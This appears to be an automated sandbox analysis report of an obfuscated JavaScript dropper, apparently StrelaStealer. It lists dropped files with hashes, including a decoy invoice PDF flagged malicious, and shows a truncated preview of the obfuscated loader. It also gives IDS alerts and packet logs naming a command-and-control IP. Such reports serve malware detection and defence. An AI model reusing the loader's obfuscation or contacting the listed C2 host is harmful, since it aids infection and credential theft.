Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\29596435-a7b8-4065-abc9-aecdfbfc24e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	62F2E9F22B4021BA764763F066157442
SHA1:	0BBCDDCCA2B7342980503F1522E9249B077DED4C
SHA-256:	747B773557070E01063EDCDF20C3DA8DD01599EF5EE5E5320BA7328DFDB2E721
SHA-512:	0D58BA35B2BBE548612357D9252FD87DDDC939B346DC666778CCE2C44E60F4A58434A42FDA5BDC7DF9552999D29ACD35E2F77FC5BD3D423B336F224D157F00A6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\816d97de-ba98-43cb-8a16-3b8bd7bc09d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bf506272-7922-4917-a7c5-9c4598cf69a6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d2acceab-acd3-4e39-827d-66991f6c987a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18397), with CRLF line terminators
Entropy (8bit):	4.922031551332237
TrID:
File name:	21905169581426428153.js
File size:	21'923 bytes
MD5:	a9a025f9c56f6e84da3eed93bd4ad188
SHA1:	29d2c1a0d6a21ed6ec52e7606540d5db495b15f0
SHA256:	62fdb26b984826ff3e63035ea9ad475994ba2f3e2512117f45ea834173401081
SHA512:	f8448d1252affce2464eb10a629395ca99acb082128f672e9837c4922ab841bd7d64c0492496ce9436490d731a9185e32d9fafa6a105c4ece60977b2f12ea1af
SSDEEP:	192:fVj76V/f37IqQ9b0CXV9Jd2gHDHYxWpCNQYFGU0WXJ7jyXWhYokW5SV6JQIquHWp:h6V/lGnJdvj4aKFFGU3cIFC714qN7zH
TLSH:	C8A241B4FC42C3D354E188A01AAA3E45317CC7864A7D64E1BED264DB2791972BED3339
File Content Preview:	function jwfvah(){tjqyta=[1031,3079,5127,4103,2055,3072];var vfysrxhxh=this[ybqjdysv+losnls+ycxbv+teelqjih+mahxka+gczij+dogqit+cxaswdqv](this[xoszxz+zpuexsjrx+xpiybuo+ycxbv+wdrbxgay+ybqjdysv+cxaswdqv][zhmtk+ycxbv+mahxka+losnls+cxaswdqv+mahxka+mrrgenx+uafj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:01:00.524901+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T00:01:00.524901+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T00:01:03.102886+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:00:59.713340044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:00:59.718368053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:00:59.718497038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:00:59.721048117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:00:59.725842953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524817944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524849892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524861097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524874926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524893999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524900913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.524905920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524918079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524929047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524941921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524960041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.524976015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.524981022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.525053978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.529783964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.529797077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.529869080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.570688009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.570708036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.570791006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.646485090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646517038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646528006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646554947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646567106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646579027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646579981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.646590948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.646637917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.647299051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.647344112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.647351027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.647363901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.647377014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.647388935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.647423029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.647471905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.648005009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648066998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648077965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648091078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648103952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648121119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.648147106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.648874044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648927927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.648931026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648942947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648957014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648968935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.648993969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.649018049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.738605976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.738624096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.738708973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.742686033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.742702007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.742716074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.742765903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775049925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775078058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775089979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775109053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775120020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775131941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775142908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775146008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775155067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775186062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775230885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775458097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775501013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775511026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775513887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775546074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775557041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775557995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775598049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.775612116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775623083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775636911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.775665045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.776504993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776518106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776529074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776554108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776563883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.776565075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776576042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776588917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.776597023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776608944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.776642084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.776688099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.777586937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777604103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777616024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777626991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777640104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777640104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.777651072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777663946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777676105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.777683020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.777718067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.778409004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778435946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778448105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778461933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.778461933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778475046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778485060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778487921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.778496981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.778529882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.778548002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.827112913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.827142954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.827153921 CET	80	49730	193.143.1.205	192.168.2.4
